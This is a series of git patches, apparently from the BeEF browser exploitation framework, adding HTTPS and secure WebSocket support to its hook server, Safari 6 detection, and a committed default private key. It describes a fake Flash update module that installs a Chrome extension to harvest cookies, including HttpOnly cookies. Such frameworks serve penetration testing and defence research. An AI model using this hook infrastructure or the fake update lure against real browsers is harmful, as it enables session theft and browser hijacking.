ze=7*_8}NN_4J?6&!4wz=qu@TU4ZOZph~I)2!1Lg{;5zsMXoJT<4SWjh0z1Gqa5vZj z{&BYue*v$7SHO?J)8INd56*%UU^n>PJB4@=JP&>bnxGCo4W_{!@GxDRXxufrE!1y6%-f*ar(=m7SU&w$%*q_#q#(30_r>)RJf zqoPn~$R-8Ws_R>g6+ejiRgaQqbtLb@f9W;ww-Cx`$>{iv#Fde;oR-8%=+Wh?u96}_W3Gdoh_7_ybFT!Cf% zL+`v}ErC%sz2yBb!%+D6IiiRcjZb?kvp;{tG)45zIB5fuj#*8 zZM2Xpe5|%d6o`7B6`PSC#2L1N64tuL%$p0y(PE| zs>4?!Q(AVL8a`d=T;Vc?51*tZ<-%MCKi2rRuEoy1w0wK#R&8$V#CqVHIdSSy{lDm# zPewhCmF#GEH`l>lEkPV6QWbGAZ#=4@6Duv|fgE+MD7KQgjd9kTjx;^L%jHZEI$o@1 zg^X%q+cJupiA%QcdD7-UKwSq1p69m%N1YTn-Q<-`tffXUjWuYhSWrMKk`Yp%nnKDA^H$haN`Y+1~ ztwvuaOof_4HQPP$FcD6A5@bifRbhAkG+`+{$3+>2VJDJiF4_^tf%wk`aSZ82k#xw2!Wb+;h^wqdfhI7=G2UThfp9%Y%c96# zxhO+^tC7olvp!JH?$EEjw${MjBy@)M;y3o<>SI)_z^NEnD*+eJXp-fWwvw3xzZWp(t(qoXPouQHr_ipp%9Biwv#{C&K#G) zy)q}{pM%>mIdfuSV%iTS|K$@a3327}J%ngPAkUU&B;%67ZZI0|q2wxj*CahZX|;zAM%x?L9uer4a!xl+@M@V z%+XPyoG}#&zIg{zhLidhPSLylBjO0avN%c??nqzzsp@zwSH?bvH&L+R^bsut_OyCK znGVs!#ObIxF|lxF8m_4d1$;fdnH|tKE1Ah&dCm%W6k6ByRC247@DpiS#R=<$o6zX>rNZV;THo2D9O01TomJb*5U_9Y+)Nvy9nl)L7yWG{{ zZ0+Ry*%~cQEi6pU)n;d^G`~R8^K-{%YqRrn_;rG&=FZb2vvbGGBypvNHMnPh+o}6- zrxReTjnt@y6UCuZPh#0vZ#TQ*U-kTySCz))FTCp3xfv|~1h1|*D~z(Cv@lB2 z!+N!clX)8+F_a)Fp0KcnQmZ@HN<3uOk*xKDuJ@Q%OpVwiF$q&P%aKbP%Thd3u#!s- zmSf>6z9S=xwQ-ixU(uZyc3m$|1Uqq=bJ%=|*lSiV{*(q2wIp)ec7vT81yKizCmFQS$BlC$hQ zz`>mnme^`9(n7kI>M0}?xgyt_q+(Hso{(!iCN1Z>S;yMV-n8S)q)*e3+*1z3S&@;; z`Vq%f`Y*VTZp$d^FL&lE1M{knE3G{qqhCAE>z{mXtRM@wnd4(J_*pBQT|cYK9yI Date: Fri, 3 Aug 2012 23:15:43 +0100 Subject: [PATCH 14/36] remove Gemfile.lock from commit --- Gemfile.lock | 76 ---------------------------------------------------- 1 file changed, 76 deletions(-) delete mode 100644 Gemfile.lock diff --git a/Gemfile.lock b/Gemfile.lock deleted file mode 100644 index cddca4f41..000000000 --- a/Gemfile.lock +++ /dev/null @@ -1,76 +0,0 @@ -GEM - remote: http://rubygems.org/ - specs: - addressable (2.2.8) - ansi (1.4.2) - daemons (1.1.8) - data_objects (0.10.8) - addressable (~> 2.1) - dm-core (1.2.0) - addressable (~> 2.2.6) - dm-do-adapter (1.2.0) - data_objects (~> 0.10.6) - dm-core (~> 1.2.0) - dm-migrations (1.2.0) - dm-core (~> 1.2.0) - dm-sqlite-adapter (1.2.0) - dm-do-adapter (~> 1.2.0) - do_sqlite3 (~> 0.10.6) - do_sqlite3 (0.10.8) - data_objects (= 0.10.8) - em-websocket (0.3.6) - addressable (>= 2.1.1) - eventmachine (>= 0.12.9) - erubis (2.7.0) - eventmachine (0.12.10) - faraday (0.8.1) - multipart-post (~> 1.1) - jsmin (1.0.1) - json (1.7.3) - librex (0.0.65) - msfrpc-client (1.0.1) - librex (>= 0.0.32) - msgpack (>= 0.4.5) - msgpack (0.4.7) - multi_json (1.3.6) - multipart-post (1.1.5) - parseconfig (1.0.2) - rack (1.4.1) - rack-protection (1.2.0) - rack - simple_oauth (0.1.8) - sinatra (1.3.2) - rack (~> 1.3, >= 1.3.6) - rack-protection (~> 1.2) - tilt (~> 1.3, >= 1.3.3) - term-ansicolor (1.0.7) - thin (1.3.1) - daemons (>= 1.0.9) - eventmachine (>= 0.12.6) - rack (>= 1.0.0) - tilt (1.3.3) - twitter (3.3.1) - faraday (~> 0.8) - multi_json (~> 1.3) - simple_oauth (~> 0.1.6) - -PLATFORMS - ruby - -DEPENDENCIES - ansi - data_objects - dm-core - dm-migrations - dm-sqlite-adapter - em-websocket (~> 0.3.6) - erubis - eventmachine (= 0.12.10) - jsmin (~> 1.0.1) - json - msfrpc-client - parseconfig - sinatra (= 1.3.2) - term-ansicolor - thin - twitter From 35049466360b988acaf83e91977bc5c4eabd2b97 Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Fri, 3 Aug 2012 23:29:24 +0100 Subject: [PATCH 15/36] disable console in commited version --- config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.yaml b/config.yaml index ff55c7b43..7b05f0f76 100644 --- a/config.yaml +++ b/config.yaml @@ -85,6 +85,6 @@ beef: enable: false console: shell: - enable: true + enable: false evasion: enable: false From 2ad1ba4fbfab65f6d42e98769f208788b99bd033 Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Fri, 3 Aug 2012 23:59:32 +0100 Subject: [PATCH 16/36] remove superfluous notifications.rb --- core/main/notifications.rb | 55 -------------------------------------- 1 file changed, 55 deletions(-) delete mode 100644 core/main/notifications.rb diff --git a/core/main/notifications.rb b/core/main/notifications.rb deleted file mode 100644 index 6a99c2d19..000000000 --- a/core/main/notifications.rb +++ /dev/null @@ -1,55 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# - -module BeEF -module Core - - class Notifications - - include Singleton - - # Constructor - def initialize - @notifications = BeEF::Core::Models::Notifications - end - - # Registers a new event in the logs - # @param [String] from The origin of the event (i.e. Authentication, Hooked Browser) - # @param [String] event The event description - # @param [Integer] hb The id of the hooked browser affected (default = 0 if no HB) - # @return [Boolean] True if the register was successful - def register(from, event, hb = 0) - # type conversion to enforce standards - hb = hb.to_i - - # arguments type checking - raise Exception::TypeError, '"from" needs to be a string' if not from.string? - raise Exception::TypeError, '"event" needs to be a string' if not event.string? - raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer? - - # logging the new event into the database - @logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :hooked_browser_id => hb).save - - # return - true - end - - private - @logs - - end -end -end From b58e9b955e8b49add4fa542bbcbed249e22910de Mon Sep 17 00:00:00 2001 From: Christian Frichot Date: Sun, 5 Aug 2012 16:17:18 +0800 Subject: [PATCH 17/36] Fixes Issue #733 - Thin SSL support initial release --- config.yaml | 6 ++++++ core/main/client/net.js | 3 ++- core/main/client/updater.js | 2 +- core/main/console/banners.rb | 5 +++-- core/main/server.rb | 10 +++++++++- 5 files changed, 21 insertions(+), 5 deletions(-) diff --git a/config.yaml b/config.yaml index 7b05f0f76..13dc99f53 100644 --- a/config.yaml +++ b/config.yaml @@ -51,6 +51,12 @@ beef: enable: false type: "apache" #supported: apache, iis + # Experimental HTTPS support for the hook / admin / all other Thin managed web services + https: + enable: false + key: "server.key" #This is expected to be in BeEF's root folder + cert: "server.crt" #This is expected to be in BeEF's root folder + database: # For information on using other databases please read the # README.databases file diff --git a/core/main/client/net.js b/core/main/client/net.js index 66daf0245..9b471f4fd 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -23,6 +23,7 @@ beef.net = { host:"<%= @beef_host %>", port:"<%= @beef_port %>", hook:"<%= @beef_hook %>", + httpproto:"<%= @beef_proto %>", handler:'/dh', chop:500, pad:30, //this is the amount of padding for extra params such as pc, pid and sid @@ -137,7 +138,7 @@ beef.net = { push:function (stream) { //need to implement wait feature here eventually for (var i = 0; i < stream.pc; i++) { - this.request(this.port == '443' ? 'https' : 'http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null); + this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null); } }, diff --git a/core/main/client/updater.js b/core/main/client/updater.js index 4987de6f8..d8bbb13cc 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -66,7 +66,7 @@ beef.updater = { get_commands: function(http_response) { try { this.lock = true; - beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) { + beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) { if (response.body != null && response.body.length > 0) beef.updater.execute_commands(); }); diff --git a/core/main/console/banners.rb b/core/main/console/banners.rb index 3621d20e9..7372c62df 100644 --- a/core/main/console/banners.rb +++ b/core/main/console/banners.rb @@ -89,12 +89,13 @@ module Banners def print_network_interfaces_routes configuration = BeEF::Core::Configuration.instance + prototxt = configuration.get("beef.http.https.enable") == true ? "https" : "http" self.interfaces.map do |host| # display the important URLs on each interface from the interfaces array print_success "running on network interface: #{host}" beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port") - data = "Hook URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n" - data += "UI URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n" + data = "Hook URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n" + data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n" print_more data end diff --git a/core/main/server.rb b/core/main/server.rb index d15ad9198..b8ba556fd 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -48,7 +48,8 @@ module BeEF 'beef_public' => @configuration.get('beef.http.public'), 'beef_public_port' => @configuration.get('beef.http.public_port'), 'beef_dns' => @configuration.get('beef.http.dns'), - 'beef_hook' => @configuration.get('beef.http.hook_file') + 'beef_hook' => @configuration.get('beef.http.hook_file'), + 'beef_proto' => @configuration.get('beef.http.https.enable') == true ? "https" : "http" } end @@ -108,6 +109,13 @@ module BeEF @configuration.get('beef.http.host'), @configuration.get('beef.http.port'), @rack_app) + + if @configuration.get('beef.http.https.enable') == true + @http_server.ssl = true + @http_server.ssl_options = {:private_key_file => $root_dir + "/" + @configuration.get('beef.http.https.key'), + :cert_chain_file => $root_dir + "/" + @configuration.get('beef.http.https.cert'), + :verify_peer => false} + end end end From 1f88bb4cc3546288713e0b5648e4e74bee66099e Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 6 Aug 2012 14:25:53 +0100 Subject: [PATCH 18/36] Added default key/cert files for HTTPS support, added a few notes about it on config.yaml --- beef_cert.pem | 19 +++++++++++++++++++ beef_key.pem | 16 ++++++++++++++++ config.yaml | 8 +++++--- 3 files changed, 40 insertions(+), 3 deletions(-) create mode 100644 beef_cert.pem create mode 100644 beef_key.pem diff --git a/beef_cert.pem b/beef_cert.pem new file mode 100644 index 000000000..9ac7ab1ba --- /dev/null +++ b/beef_cert.pem @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDDjCCAnegAwIBAgIJAKNYRH/AaB3DMA0GCSqGSIb3DQEBBQUAMIGfMQswCQYD +VQQGEwJBVTEUMBIGA1UECAwLQm92aW5lIExhbmQxDTALBgNVBAcMBEJlRUYxDTAL +BgNVBAoMBEJlRUYxDTALBgNVBAsMBEJlRUYxJzAlBgNVBAMMHkJyb3dzZXIgRXhw +bG9pdGF0aW9uIEZyYW1ld29yazEkMCIGCSqGSIb3DQEJARYVQmVFRkBkb250d3Jp +dGVtZS5CZUVGMB4XDTEyMDgwNjEzMDUzOFoXDTEzMDgwNjEzMDUzOFowgZ8xCzAJ +BgNVBAYTAkFVMRQwEgYDVQQIDAtCb3ZpbmUgTGFuZDENMAsGA1UEBwwEQmVFRjEN +MAsGA1UECgwEQmVFRjENMAsGA1UECwwEQmVFRjEnMCUGA1UEAwweQnJvd3NlciBF +eHBsb2l0YXRpb24gRnJhbWV3b3JrMSQwIgYJKoZIhvcNAQkBFhVCZUVGQGRvbnR3 +cml0ZW1lLkJlRUYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALCxzu+rOTt2 +VBM5X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP +0l+pKgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0Z +F/0y0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAGjUDBOMB0GA1UdDgQWBBTaXny0 +kTye7CAr0ronsg0ob63+kTAfBgNVHSMEGDAWgBTaXny0kTye7CAr0ronsg0ob63+ +kTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4GBABTy5s/XRd6iBwxOgV6N +B+cTRgmgHciujbI+0p4TkOkHvQPhhcD3207ndWWwv+Mc2XeQcXNaOfYUDkeCs64N +JffqThykYOdagvCu1Gecw9BEKeijS9MAuNvtvP7fcUNUql+VeTFbxMBPGDhusafz +GkY0IBg9+j6XX4JwEXxCGt0a +-----END CERTIFICATE----- diff --git a/beef_key.pem b/beef_key.pem new file mode 100644 index 000000000..1c2fc0ea9 --- /dev/null +++ b/beef_key.pem @@ -0,0 +1,16 @@ +-----BEGIN PRIVATE KEY----- +MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALCxzu+rOTt2VBM5 +X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP0l+p +KgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0ZF/0y +0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAECgYAKpDrNTmedACxiGAN8hPXGKCw3 +HlLuBKTRLJ/Mgel29DxeIy5gXnAuCaQzXKKTPabJxIugj5r9pH4MCtkf1T15Aib6 +4MFdx4UegllMUo7eUiuCtSmK9s0wEtJjShujBl4qQ10ZtWUh4Vd/clS88IjM/iPI +5Ocoph5PUgFt/tX7DQJBAOkGptgdri39bRiSGaR/Si6YYpmMUFoQt+s2id8yH9QS +26o8cHZKCahSiWLNi4rSzEJIOpXnP3n+Dcq2JttDWGcCQQDCHWgWSpdnX8uqp/Qo +yp0RZJwyBFoba4bWhzoQJj+39P0+4FBaMlZyLHZ7nd4z0JiE5S3qA9xi8zjQVrrI +rTWnAkEAmpPxBZfavWNJhW0VWYue1/36GkV73+MLPhq1pruHZZUE5o6lQ7KlaWUn +AcW79WEUYjursVjvQKuI1pmyeOzZrQJBAIGQHSxbxyjBgPA8QDSF4EZ+r96Wlwoc +QBiqk6+5x+fiBrJUCG3bkWWNldu2qFxPS63QRlAfGZeWHgK5ENzm95sCQQCe81hU +WaVM9bmt0ZvfhfQXfgvf3xKNUFemd4skTMUDgNCH1OFULB/Mz16kJDdy0q0qUS88 +yBgay+U9QuoEO425 +-----END PRIVATE KEY----- diff --git a/config.yaml b/config.yaml index 13dc99f53..ec6acf7e8 100644 --- a/config.yaml +++ b/config.yaml @@ -29,7 +29,7 @@ beef: http: debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. host: "0.0.0.0" - port: "3000" + port: "443" # if running behind a nat set the public ip address here #public: "" #public_port: "" # port setting is experimental @@ -54,8 +54,10 @@ beef: # Experimental HTTPS support for the hook / admin / all other Thin managed web services https: enable: false - key: "server.key" #This is expected to be in BeEF's root folder - cert: "server.crt" #This is expected to be in BeEF's root folder + # In production environments, be sure to use a valid certificate signed for the value + # used in beef.http.dns (the domain name of the server where you run BeEF) + key: "beef_key.pem" + cert: "beef_cert.pem" database: # For information on using other databases please read the From b3b3ae828b09d59f29793201008d182400c90df9 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 6 Aug 2012 14:30:19 +0100 Subject: [PATCH 19/36] Updated fake_flash_update module description, to specify that the Chrome extension delivery will work on Chrome <= 20 only. --- modules/social_engineering/fake_flash_update/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/social_engineering/fake_flash_update/config.yaml b/modules/social_engineering/fake_flash_update/config.yaml index 78131d2c4..ad567c783 100644 --- a/modules/social_engineering/fake_flash_update/config.yaml +++ b/modules/social_engineering/fake_flash_update/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Social Engineering" name: "Fake Flash Update" - description: "Prompts the user to install an update to Adobe Flash Player.
The default install file is a Chrome extension.

A chrome extenstion has privileged access and can do a whole lot..
  • - Access all tabs and inject beef into all tabs
  • - Use hooked browser as a proxy to do cross domain requests
  • - Get all cookies including HTTPonly cookies

See chrome extensions beef modules for more examples
See extensions/demos/flash_update_chrome_extension for extension source" + description: "Prompts the user to install an update to Adobe Flash Player.
The default install file is a Chrome extension.

A chrome extenstion has privileged access and can do a whole lot..
  • - Access all tabs and inject beef into all tabs
  • - Use hooked browser as a proxy to do cross domain requests
  • - Get all cookies including HTTPonly cookies

See chrome extensions beef modules for more examples
See extensions/demos/flash_update_chrome_extension for extension source. Note: the Chrome extension delivery will work on Chrome <= 20. From Chrome 21 things changed in terms of how extensions can be loaded." authors: ["mh"] target: user_notify: ['ALL'] From dfe61f3a1786de6bae6e5518c975430ea96e289e Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 6 Aug 2012 15:06:53 +0100 Subject: [PATCH 20/36] Reverted back default port to 3000. My bad. --- config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.yaml b/config.yaml index ec6acf7e8..1aa4c98f7 100644 --- a/config.yaml +++ b/config.yaml @@ -29,7 +29,7 @@ beef: http: debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. host: "0.0.0.0" - port: "443" + port: "3000" # if running behind a nat set the public ip address here #public: "" #public_port: "" # port setting is experimental From ea89b0ca646c78c58c131d2c9f6d1de79151cc0d Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 6 Aug 2012 20:55:38 +0100 Subject: [PATCH 21/36] Added support for Safari 6. --- core/main/client/browser.js | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 0ca172c1d..42bfcaca0 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -211,13 +211,21 @@ beef.browser = { isS5: function() { return (window.navigator.userAgent.match(/ Version\/5\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome); }, + + /** + * Returns true if Safari 6.xx + * @example: beef.browser.isS6() + */ + isS6: function() { + return (window.navigator.userAgent.match(/ Version\/6\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome); + }, /** * Returns true if Safari. * @example: beef.browser.isS() */ isS: function() { - return this.isS4() || this.isS5() || (!window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome); + return this.isS4() || this.isS5() || this.isS6() || (!window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome); }, /** @@ -472,6 +480,7 @@ beef.browser = { S4: this.isS4(), // Safari 4.xx S5: this.isS5(), // Safari 5.xx + S6: this.isS6(), // Safari 6.x S: this.isS() // Safari any version } }, @@ -525,8 +534,9 @@ beef.browser = { if (this.isS4()) { return '4' }; // Safari 4 if (this.isS5()) { return '5' }; // Safari 5 + if (this.isS6()) { return '6' }; // Safari 5 - if (this.isO9_52()) { return '9.5'}; // Opera 9.5x + if (this.isO9_52()) { return '9.5'}; // Opera 9.5x if (this.isO9_60()) { return '9.6'}; // Opera 9.6 if (this.isO10()) { return '10' }; // Opera 10.xx if (this.isO11()) { return '11' }; // Opera 11.xx From 5697eac1234a10cd0526573b495ee548db1725c6 Mon Sep 17 00:00:00 2001 From: radoen Date: Fri, 10 Aug 2012 13:43:48 +0200 Subject: [PATCH 22/36] Added support for wss, issue #714 --- beef | 9 +- config.yaml | 9 +- core/main/client/websocket.js | 19 +- core/main/handlers/modules/beefjs.rb | 215 +++++++++--------- .../main/network_stack/websocket/websocket.rb | 84 ++++++- 5 files changed, 208 insertions(+), 128 deletions(-) diff --git a/beef b/beef index 6302be317..5b84151e6 100755 --- a/beef +++ b/beef @@ -81,7 +81,7 @@ Socket.do_not_reverse_lookup = true case config.get("beef.database.driver") when "sqlite" DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}") - when "mysql","postgres" + when "mysql", "postgres" DataMapper.setup(:default, :adapter => config.get("beef.database.driver"), :host => config.get("beef.database.db_host"), @@ -125,11 +125,12 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" if config.get("beef.http.websocket.enable") BeEF::Core::Websocket::Websocket.instance print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + if config.get("beef.http.websocket.secure") + print_info "Starting WebSocket-Secured server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + end end - - # @note Call the API method 'pre_http_start' BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) @@ -140,7 +141,7 @@ if config.get("beef.extension.console.shell.enable") == true begin FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder"))) BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt, - BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run + BeEF::Extension::Console::Shell::DefaultPromptChar, {'config' => config, 'http_hook_server' => http_hook_server}).run rescue Interrupt end else diff --git a/config.yaml b/config.yaml index 1aa4c98f7..8cb8c95e2 100644 --- a/config.yaml +++ b/config.yaml @@ -17,7 +17,7 @@ beef: version: '0.4.3.6-alpha' - debug: false + debug: true restrictions: # subnet of browser ip addresses that can hook to the framework @@ -41,9 +41,10 @@ beef: # Prefer WebSockets over XHR-polling when possible. websocket: - enable: false - secure: false # use WebSocketSecure + enable: true + secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF port: 61985 # good success rate through proxies + secure_port: 61986 #to accept wss connection alive_timer: 1000 # poll BeEF every second # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) @@ -53,7 +54,7 @@ beef: # Experimental HTTPS support for the hook / admin / all other Thin managed web services https: - enable: false + enable: true # In production environments, be sure to use a valid certificate signed for the value # used in beef.http.dns (the domain name of the server where you run BeEF) key: "beef_key.pem" diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 25ccdeeba..e1cca10ee 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -27,15 +27,18 @@ beef.websocket = { var webSocketPort = <%= @websocket_port %>; var webSocketSecure = <%= @websocket_secure %>; var protocol = "ws://"; - - if(webSocketSecure) + //console.log("We are inside init"); + /*use wss only if hooked domain is under tls*/ + if(webSocketSecure && window.location.protocol=="https:"){ protocol = "wss://"; + webSocketPort= <%= @websocket_sec_port %>; + } - if (beef.browser.isFF() && !!window.MozWebSocket) { - beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); + if (beef.browser.isFF() && !!window.MozWebSocket) { + beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); } else { - beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); + beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); } }, @@ -43,10 +46,10 @@ beef.websocket = { start:function () { new beef.websocket.init(); this.socket.onopen = function () { - //console.log("Socket has been opened!"); + //console.log("Socket has been opened!"); - /*send browser id*/ - beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}'); + /*send browser id*/ + beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}'); //console.log("Connected and Helo"); beef.websocket.alive(); } diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 0ad19d01f..5d7b164a0 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -14,126 +14,127 @@ # limitations under the License. # module BeEF -module Core -module Handlers -module Modules + module Core + module Handlers + module Modules - # @note Purpose: avoid rewriting several times the same code. - module BeEFJS + # @note Purpose: avoid rewriting several times the same code. + module BeEFJS - # Builds the default beefjs library (all default components of the library). - # @param [Object] req_host The request object - def build_beefjs!(req_host) - config = BeEF::Core::Configuration.instance - # @note set up values required to construct beefjs - beefjs = '' - # @note location of sub files - beefjs_path = "#{$root_dir}/core/main/client/" - # @note we load websocket library only if ws server is enabled in config.yalm - # check in init.js - if config.get("beef.http.websocket.enable") + # Builds the default beefjs library (all default components of the library). + # @param [Object] req_host The request object + def build_beefjs!(req_host) + config = BeEF::Core::Configuration.instance + # @note set up values required to construct beefjs + beefjs = '' + # @note location of sub files + beefjs_path = "#{$root_dir}/core/main/client/" + # @note we load websocket library only if ws server is enabled in config.yalm + # check in init.js + if config.get("beef.http.websocket.enable") - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) - else - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) + else + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) - end + end - # @note construct the beefjs string from file(s) - js_sub_files.each {|js_sub_file_name| - js_sub_file_abs_path = beefjs_path + js_sub_file_name - beefjs << (File.read(js_sub_file_abs_path) + "\n\n") - } + # @note construct the beefjs string from file(s) + js_sub_files.each { |js_sub_file_name| + js_sub_file_abs_path = beefjs_path + js_sub_file_name + beefjs << (File.read(js_sub_file_abs_path) + "\n\n") + } - # @note create the config for the hooked browser session + # @note create the config for the hooked browser session - hook_session_name = config.get('beef.http.hook_session_name') - hook_session_config = BeEF::Core::Server.instance.to_h + hook_session_name = config.get('beef.http.hook_session_name') + hook_session_config = BeEF::Core::Server.instance.to_h - # @note if http_host="0.0.0.0" in config ini, use the host requested by client - if hook_session_config['beef_host'].eql? "0.0.0.0" - hook_session_config['beef_host'] = req_host - hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) - end + # @note if http_host="0.0.0.0" in config ini, use the host requested by client + if hook_session_config['beef_host'].eql? "0.0.0.0" + hook_session_config['beef_host'] = req_host + hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) + end + + # @note if http_port <> public_port in config ini, use the public_port + unless hook_session_config['beef_public_port'].nil? + if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] + hook_session_config['beef_port'] = hook_session_config['beef_public_port'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) + if hook_session_config['beef_public_port'] == '443' + hook_session_config['beef_url'].sub!(/http:/, 'https:') + end + end + end + + if config.get("beef.http.websocket.enable") + hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") + hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") + hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer") + hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") + end + + # @note populate place holders in the beefjs string and set the response body + eruby = Erubis::FastEruby.new(beefjs) + @hook = eruby.evaluate(hook_session_config) + + if config.get("beef.extension.evasion.enable") + evasion = BeEF::Extension::Evasion::Evasion.instance + @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook) + end + + @body << @hook - # @note if http_port <> public_port in config ini, use the public_port - unless hook_session_config['beef_public_port'].nil? - if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] - hook_session_config['beef_port'] = hook_session_config['beef_public_port'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) - if hook_session_config['beef_public_port'] == '443' - hook_session_config['beef_url'].sub!(/http:/, 'https:') end + + # Finds the path to js components + # @param [String] component Name of component + # @return [String|Boolean] Returns false if path was not found, otherwise returns component path + def 